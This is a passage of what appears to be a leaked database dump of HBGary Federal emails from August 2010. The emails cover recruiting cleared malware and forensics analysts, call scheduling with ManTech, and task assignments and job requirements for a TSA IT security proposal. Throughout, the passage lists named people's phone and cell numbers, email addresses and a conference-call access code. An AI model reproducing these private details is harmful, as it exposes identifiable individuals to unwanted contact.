SOW, but realized I thought you guys said you didn\'t see a TA1 SOW just an IDIQ SOW?\r\n\r\nIt starts on Page 8 of the following document.\r\n\r\n',9298,'aaron_hbgary_com/9298.html'),(9825,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007722.M564919P14101Q4680.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','Guys','I have an opportunity to fill Malware analysis, RE, Forensics positions at an IC customer in VA.  These folks need to have full-scope Polys.\r\n\r\nIf you know of anyone or can connect me to someone that might know folks please let me know ASAP.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10733,'aaron_hbgary_com/10733.html'),(9826,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007722.M808247P14101Q4681.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','Checking In','Hi Chris,\r\n\r\nJust checking in to see how things are going.  I am sorry our timing did not work out last we talked.  I do have some positions for malware analysts, REs, forensics analysts for IC customer in VA.  Thought I would let you know in case your interested.  If you know of anyone else that you would recommend that would be very helpful.\r\n\r\nTake Care,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13932,'aaron_hbgary_com/13932.html'),(9827,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007723.M14842P14101Q4682.eml','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','Re: Thursday','Is now a good time.  I want to get some feedback on how the call went with DMI as well.\r\n\r\nI gave your number to BIll Luti, who would like to touch base with you on the effort and get your thoughts on participation.\r\n\r\nAaron\r\n\r\nOn Aug 5, 2010, at 5:08 PM, Eifert, Eric J. wrote:\r\n\r\n> Can we talk Fri?\r\n> \r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n> \r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 03, 2010 11:43 AM\r\n> To: Eifert, Eric J.\r\n> Subject: Thursday\r\n> \r\n> Eric,\r\n> \r\n> Also I am meeting with Bob on Thursday.  Do you want to get together this week and talk about social media?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13413,'aaron_hbgary_com/13413.html'),(9828,'2010-08-06','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297007723.M247195P14101Q4683.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Thursday','Re: Thursday\r\n\r\n\r\n\r\n\r\nI&nbsp;am actually heading to the Dr. now so a few hours would be best.\r\n&nbsp;\r\nThanks,\r\n&nbsp;\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Division\r\nCyber Sector\r\nManTech&nbsp;Mission, Cyber, Technology Solutions\r\n&nbsp;\r\nWork: 703-388-2127\r\nFax: 703-388-2148\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Fri 8/6/2010 9:08 AMTo: Eifert, Eric J.Subject: Re: Thursday\r\n\r\nIs now a good time.&nbsp; I want to get some feedback on how the call went with DMI as well.I gave your number to BIll Luti, who would like to touch base with you on the effort and get your thoughts on participation.AaronOn Aug 5, 2010, at 5:08 PM, Eifert, Eric J. wrote:&gt; Can we talk Fri?&gt;&gt; Eric J. Eifert&gt; Vice President, Cyber Defense Solutions Business Unit&gt; ManTech Mission, Cyber and Technology Solutions&gt; (direct) 703-388-2127&nbsp;&nbsp; (cell) 703-966-9998&nbsp;&nbsp; (fax) 703-388-2148&gt;&gt; **PROPRIETARY &amp; COMPANY-CONFIDENTIAL**&gt; This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.&nbsp; Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.&nbsp; If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.&nbsp; Thank you.&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]&gt; Sent: Tuesday, August 03, 2010 11:43 AM&gt; To: Eifert, Eric J.&gt; Subject: Thursday&gt;&gt; Eric,&gt;&gt; Also I am meeting with Bob on Thursday.&nbsp; Do you want to get together this week and talk about social media?&gt;&gt; Aaron&gt;&gt; Sent from my iPhoneAaron BarrCEOHBGary Federal Inc.',13058,'aaron_hbgary_com/13058.html'),(9829,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007723.M491225P14101Q4684.eml','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','Re: Thursday','Sure thing.On Aug 6, 2010, at 9:08 AM, Eifert, Eric J. wrote:\r\n\r\nI&nbsp;am actually heading to the Dr. now so a few hours would be best.\r\n&nbsp;\r\nThanks,\r\n&nbsp;\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Division\r\nCyber Sector\r\nManTech&nbsp;Mission, Cyber, Technology Solutions\r\n&nbsp;\r\nWork: 703-388-2127\r\nFax: 703-388-2148\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Fri 8/6/2010 9:08 AMTo: Eifert, Eric J.Subject: Re: Thursday\r\nIs now a good time.&nbsp; I want to get some feedback on how the call went with DMI as well.I gave your number to BIll Luti, who would like to touch base with you on the effort and get your thoughts on participation.AaronOn Aug 5, 2010, at 5:08 PM, Eifert, Eric J. wrote:&gt; Can we talk Fri?&gt;&gt; Eric J. Eifert&gt; Vice President, Cyber Defense Solutions Business Unit&gt; ManTech Mission, Cyber and Technology Solutions&gt; (direct) 703-388-2127&nbsp;&nbsp; (cell) 703-966-9998&nbsp;&nbsp; (fax) 703-388-2148&gt;&gt; **PROPRIETARY &amp; COMPANY-CONFIDENTIAL**&gt; This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.&nbsp; Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.&nbsp; If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.&nbsp; Thank you.&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]&gt; Sent: Tuesday, August 03, 2010 11:43 AM&gt; To: Eifert, Eric J.&gt; Subject: Thursday&gt;&gt; Eric,&gt;&gt; Also I am meeting with Bob on Thursday.&nbsp; Do you want to get together this week and talk about social media?&gt;&gt; Aaron&gt;&gt; Sent from my iPhoneAaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13698,'aaron_hbgary_com/13698.html'),(9830,'2010-08-06','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297007723.M808934P14101Q4685.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,aaron@hbgary.com,jwootton@palantir.com,msteckman@palantir.com,paul.meaney@telos.com,rob.wilson@telos.com,robert.sanderson@telos.com,Suzanne.Petrie@TASC.COM,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com','RE: TSA-ITSSS Content Docs and Data Call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI found an error in the Past\r\nPerformance template.&nbsp; Please use this version and delete that version sent\r\npreviously.\r\n\r\n&nbsp;\r\n\r\nThanx,\r\n\r\n&nbsp;\r\n\r\nKirby\r\n\r\n703-966-7997\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Fanguy \r\nSent: Thursday, August 05, 2010 7:53 PM\r\nTo: aaron@hbgary.com; jwootton@palantir.com; Kirby Kintner;\r\nmsteckman@palantir.com; paul.meaney@telos.com; rob.wilson@telos.com;\r\nrobert.sanderson@telos.com; Suzanne.Petrie@TASC.COM; ted@hbgary.com;\r\ntom.leahy@telos.com; tom.ryder@telos.com\r\nSubject: TSA-ITSSS Content Docs and Data Call \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTeam-\r\n\r\n&nbsp;\r\n\r\nThanks again for all your work to date on the TSA-ITSSS RFP\r\nprep!\r\n\r\n&nbsp;\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe begin our daily 8:30am fifteen minute con calls\r\ntomorrow, Friday. &nbsp;Please use 605-475-4850 code 1066743#.\r\n\r\n&nbsp;\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQuestions are due to the government at 5pm tomorrow,\r\nFriday, so we need them by 2pm to compile.&nbsp; Use the attached template.\r\n\r\n&nbsp;\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKirby Kintner, at kkintner@digitalmanagement.com\r\nand 703-966-7887, is our proposal manager.\r\n\r\n&nbsp;\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBelow are the items needed short-term, with assignments\r\nand due dates.&nbsp; Attached are related docs, including an overall\r\ncalendar.&nbsp; Note that the first 4 items are due Friday 5pm, but they are\r\ntypical corporate items. \r\n\r\n&nbsp;\r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPink Team review is next Thursday, Aug 12, from noon to\r\n3pm at DMI in Bethesda at 6701 Democracy Blvd, 20817.&nbsp; Content from\r\neveryone for the review is due Wednesday Aug 11 at noon.\r\n\r\n&nbsp;\r\n\r\n6)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAlso attached is the team contact list.&nbsp; Please be\r\nsure to notify us of any additional people who need to be added for your\r\ncompany.\r\n\r\n&nbsp;\r\n\r\nThanks, and please don&#8217;t hesitate to contact me or Kirby if\r\nyou have any questions/concerns. Talk to you tomorrow morning.\r\n\r\n&nbsp;\r\n\r\n-John Fanguy\r\n\r\n301-346-6749 c\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  No.\r\n  \r\n  \r\n  Item\r\n  \r\n  \r\n  Description\r\n  \r\n  \r\n  Format\r\n  \r\n  \r\n  Teams\r\n  \r\n  \r\n  Due\r\n  \r\n \r\n \r\n  \r\n  1\r\n  \r\n  \r\n  Scalable Logo\r\n  \r\n  \r\n  PNG or high res BMP \r\n  \r\n  \r\n  PNG or high res BMP \r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  2\r\n  \r\n  \r\n  Company Info\r\n  \r\n  \r\n  Legal name of bidding entity; State\r\n  of Incorporation\r\n  \r\n  \r\n  Email text\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  3\r\n  \r\n  \r\n  Capabilities Overview\r\n  \r\n  \r\n  One page description of\r\n  corporate capabilities in IA/Cyber Security\r\n  \r\n  \r\n  Email text or Word\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  4\r\n  \r\n  \r\n  Capabilities collateral\r\n  \r\n  \r\n  PPTs or PDF brochures of IA\r\n  capabilities\r\n  \r\n  \r\n  Any\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  5\r\n  \r\n  \r\n  Contact Info\r\n  \r\n  \r\n  Name, email and best phone for\r\n  content writers at each teaming partner\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  6\r\n  \r\n  \r\n  Resumes\r\n  \r\n  \r\n  Across the 13 key personnel labor\r\n  categories, please provide 4 resumes that can be used in the proposal.\r\n  \r\n  \r\n  Attached &quot;TSA-ITSS\r\n  Resume&quot;, and name the file with the person\'s last name.\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  7\r\n  \r\n  \r\n  Past Performance Short-list\r\n  \r\n  \r\n  Your best &nbsp;IA/Cyber\r\n  Security&nbsp;past performance reference description\r\n  \r\n  \r\n  Attached &quot;TSA-ITSS Past\r\n  Performance - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  8\r\n  \r\n  \r\n  Surge Staff Capacity\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Attached &quot;TSA-ITSSS Labor\r\n  Categories - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  9\r\n  \r\n  \r\n  Success stories\r\n  \r\n  \r\n  Please provide 3 success\r\n  stories, preferably with metrics, illuminating your company\'s strength\r\n  in&nbsp; the IA areas\r\n  \r\n  \r\n  &nbsp;Text or Word\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  10\r\n  \r\n  \r\n  Benefits Comparison Chart\r\n  \r\n  \r\n  Industry comparison of DMI\r\n  benefits\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/10/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  11\r\n  \r\n  \r\n  Vol 1 - Management - 1.1 -\r\n  Solution Overview\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  1 page\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  12\r\n  \r\n  \r\n  Vol 1 - Management - 1.2 - Team\r\n  Overview\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  2 pages\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  13\r\n  \r\n  \r\n  Vol 1 - Management - 1.3 -\r\n  Technical Response\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  5 pages\r\n  \r\n  \r\n  Telos\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  14\r\n  \r\n  \r\n  Vol 1 - Management -&nbsp; IA\r\n  Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  5 pages\r\n  \r\n  \r\n  Telos\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  15\r\n  \r\n  \r\n  Vol 1 - Management - 1.3.3 - IA\r\n  Technical Services\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  5 pages\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  16\r\n  \r\n  \r\n  Vol 1 - Management - 1.3.4 - IA General\r\n  Requirements\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  2 pages\r\n  \r\n  \r\n  NGC\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  17\r\n  \r\n  \r\n  Vol 1 - Management - 1.3.5 -\r\n  Cyber Critical Infrastructure and Planning Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  3 pages\r\n  \r\n  \r\n  NGC\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  18\r\n  \r\n  \r\n  Vol 1 - Management - 2.0 -&nbsp;\r\n  Management and Quality Control\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  7 Pages\r\n  \r\n  \r\n  TBD\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  19\r\n  \r\n  \r\n  Vol 2&nbsp; - Past Performance\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  NL\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  20\r\n  \r\n  \r\n  Vol 3 - Pricing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  3 pages\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  21\r\n  \r\n  \r\n  Vol 4 - Staffing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  30 pages\r\n  \r\n  \r\n  Telos\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  22\r\n  \r\n  \r\n  Vol 5 -&nbsp; Pricing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  NL\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  23\r\n  \r\n  \r\n  Past Performance Questionaires\r\n  \r\n  \r\n  Completed questionaires from\r\n  references.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  TBD\r\n  \r\n  \r\n  8/16/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  24\r\n  \r\n  \r\n  Labor Category Pricing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Attached &quot;TSA-ITSSS Labor\r\n  Categories - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/16/10 5:00 PM\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n240-223-4800 main\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10302,'aaron_hbgary_com/10302.html'),(9831,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007724.M156907P14101Q4686.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','TSA ITSSS','I also am working a proposal for the TSA IT Security work which includes Malware Analysis, Incident Response, Threat Analysis, Forensics.Please look at the following positions and put me in contact with anyone that you might know that could fill these positions. &nbsp;Our proposal is due in 30 days with a quick turn around for contract award so if we win this effort I can put people on contract by October. &nbsp;We have a very strong shot at this given our team and the Competitive intelligence we have received.All positions with the exception of the e-discovery require an active TS with previously held SCI.BTW, notice they call out HBGary tools in the RFP!!!! Very cool.3.2.1 Technical Services Section Key\r\nPersonnel\r\n\r\n3.2.1.1 Team Lead,\r\nDigital Forensics Analyst &nbsp;&nbsp;3.2.1.1.1 Contractor General Requirements·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Duty Location: TSA\r\nHeadquarters, Arlington, VA·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hours:&nbsp; Core·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Certification: EnCase\r\nCertified Examiner (EnCE) or similar is preferred&nbsp; ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Clearance Requirements: Active\r\nTop Secret with previous SCI clearance held·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Travel: 5%·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Years Experience: 6\r\nminimum of strong relevant experience as outlined in the Performance Objectives.\r\nRelevant experience will be clearly detailed in the resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Contractor shall provide &nbsp;1 individual for this key position&nbsp;The contractor\r\nshall provide personnel with a thorough understanding of Digital Forensics\r\ntechniques and methodologies including evidence handling, criminal, and civil\r\nlegal proceedings, malware analysis, and network intrusion analysis.&nbsp; &nbsp;3.2.1.1.2 Contractor Qualifications·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContractor\r\nmust have excellent communication and writing skills; the contractor will\r\nfrequently participate in official meetings with high ranking officials from TSA\r\nand DHS.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProficiency\r\nwith utilizing and evaluating results from the following set of tools to include\r\nbut not limited to: Encase,\r\nFTK, Sawmill, and HB Gary.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPrior\r\nSupervisory or Management experience leading to a team of Forensic Analysts in\r\nday to day operations.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\nwith Operating Platforms to include but not limited to: Windows, Apple, and\r\nLINUX. Experience must be clearly identified in resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPrevious\r\nexperience with handling and processing of digital evidence to include imaging,\r\nchain of custody, and analysis. Experience must be clearly identified in\r\nresume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPrior\r\nexperience with processing large data sets and RAID configurations. Experience must\r\nbe clearly identified in resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFamiliarity\r\nwith networking technologies and packet structure. ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\nas a court recognized expert witness in the area of digital evidence\r\ncollection.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Previous\r\nexperience writing objective, accurate, and concise reports effectively\r\ncommunicating all findings to stakeholders. Experience must be clearly identified\r\nin resume3.2.1.1.3 Contractor Performance\r\nRequirements&nbsp;The Contractor shall:&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCase\r\ntriage and prioritization of work.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAdvise\r\nof the day-to-day activities of the Forensics Laboratory; ensure work products\r\nand deliverables meet contractual obligations and requirements. Develop and\r\nmaintain the biweekly forensic activities report that identifies Forensic Team\r\naccomplishments and goals. Participate in IT security meetings and briefings;\r\nattend Enterprise Architecture meetings and briefings as required.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTrack\r\nevidence inventory for intake and release of all evidence items delivered to\r\nthe forensics laboratory.&nbsp; This\r\nincludes insuring proper handling and maintenance of evidence and chain of\r\ncustody records.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCase\r\nintake and logging to include entries/updates to the Case Management System and\r\ncoordination of case load.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerform\r\ncase reviews to insure analysis reports meet acceptable standards as defined by\r\nForensic Laboratory policy.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEnsure\r\ncompleted requests for service for all requests are received by the forensic\r\nlaboratory. This includes verification of all related deliverables.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRead\r\nand analyze packet traces and raw log dumps.&nbsp; ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProvide\r\nsupport, reports and all related deliverables on ‘chain of custody’ matters.&nbsp;3.2.1.2 Team Lead,\r\nE-Discovery&nbsp;3.2.1.2.1 Contractor General Requirements·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDuty\r\nLocation: TSA Headquarters, Arlington, VA·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHours:&nbsp; Core·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nClearance\r\nRequirements: Active Secret ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTravel:\r\n5%·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYears\r\nExperience: 6 minimum of strong relevant experience as outlined in the\r\nPerformance Objectives·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRequire\r\n1 individual for this key position&nbsp;The Contractor shall provide personnel who have a thorough\r\nunderstanding of E-Discovery and E-Discovery techniques and process.&nbsp; The Contractor shall be able to design,\r\nmaintain and operate E-Discovery hardware and software.&nbsp; &nbsp;3.2.1.2.2 Contractor Qualifications·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Contractor\r\nmust have excellent communication and writing skills the contractor will\r\nfrequently participate in official meetings with high ranking officials from TSA\r\nand DHS.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience\r\nutilizing and evaluating results from the following set of E- Discovery tools\r\nincluding but not limited to: Attenex, Autonomy, and Concordance. &nbsp;Experience must be clearly identified in\r\nresume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Prior\r\nmanagement experience leading a team of E-Discovery Analysts in day-to-day\r\noperations. Experience must be clearly identified in resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience\r\nas a court recognized expert witness in the area of digital evidence\r\ncollection. Experience must be clearly identified in resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience\r\nutilizing and evaluating results from the following set of E-mail recovery\r\ntools including but not limited to: Kroll Ontrack Power Controls and Paraben\r\nE-mail Examiner. Experience must be clearly identified in resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hands\r\non experience with the hardware and software associated with e-mail recovery\r\nand E-Discovery.&nbsp; Experience must\r\nbe clearly identified in resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience\r\nworking with legal professionals on cases. Experience must be clearly\r\nidentified in resume.&nbsp;3.2.1.2.3 Contractor Performance Requirements&nbsp;The\r\nContractor shall:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerform\r\ndaily analytical actions in the performance of E-Discovery and reporting.&nbsp; Assist in developing, managing,\r\ncommunicating, and implementing an E-Discovery program.&nbsp; ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAdvise\r\non the day-to-day activities of the E-Discovery Team; ensure work products and\r\ndeliverables meet contractual obligations and requirements.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDevelop\r\nand maintain the biweekly recovery activities report that identifies recovery team\r\naccomplishments and goals. ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nParticipate\r\nin IT security meetings and briefings; attend Enterprise Architecture meetings\r\nand briefings as required.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTrack\r\nevidence inventory for intake and release of all evidence items delivered to\r\nthe E-Discovery team.&nbsp; This includes\r\ninsuring proper handling and maintenance of evidence and chain of custody\r\nrecords.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nConduct\r\ncase intake and logging to include entries/ updates to the Case Management\r\nSystem and coordination of case load.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerform\r\ncase reviews to insure analysis reports meet acceptable standards as defined by\r\npolicy.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTrack\r\nrequests for service for all requests received by the E-Discovery team. This\r\nincludes verification of all related deliverables.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerform\r\nparsing and analysis of exchange, active directory, restored data; to include\r\nlink analysis, filtering and file recovery. Provide reports of such data;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCategorize\r\nand manage large collections of tape backups to maintain file integrity and\r\nchain of custody.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProvide\r\nsupport, reports, and all related deliverables on ‘chain of custody’ matters.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerform\r\nas ISSO for the E-Discovery Systems.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCreate\r\nDigital Forensics Reports&nbsp;&nbsp;3.2.1.3\r\nTeam Lead, Security Operations Center (SOC) Management 3.2.1.3.1 Contractor General Requirements·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDuty\r\nLocation: TSA SOC, Ashburn VA with weekly travel to TSA Headquarters,\r\nArlington, VA·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHours:&nbsp; Core with after hours and weekend\r\non-call status·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCertification:\r\nCISSP, CISM, CISA, or similar widely recognized IT Security certification is\r\npreferred·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nClearance\r\nRequirements: Active Top Secret with previous SCI clearance held·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTravel:\r\n5%·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYears\r\nExperience: 6 minimum of strong relevant experience as outlined in the\r\nPerformance Objectives·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContractor\r\nshall provide 1 individual for this key position&nbsp;The Team Lead SOC Manager shall manage the activities of the\r\nSOC Managers overseeing and directing the TSA Security Operations Center. The\r\nprimary focus of the team is to ensure that the SOC daily operations are performed\r\nin accordance with 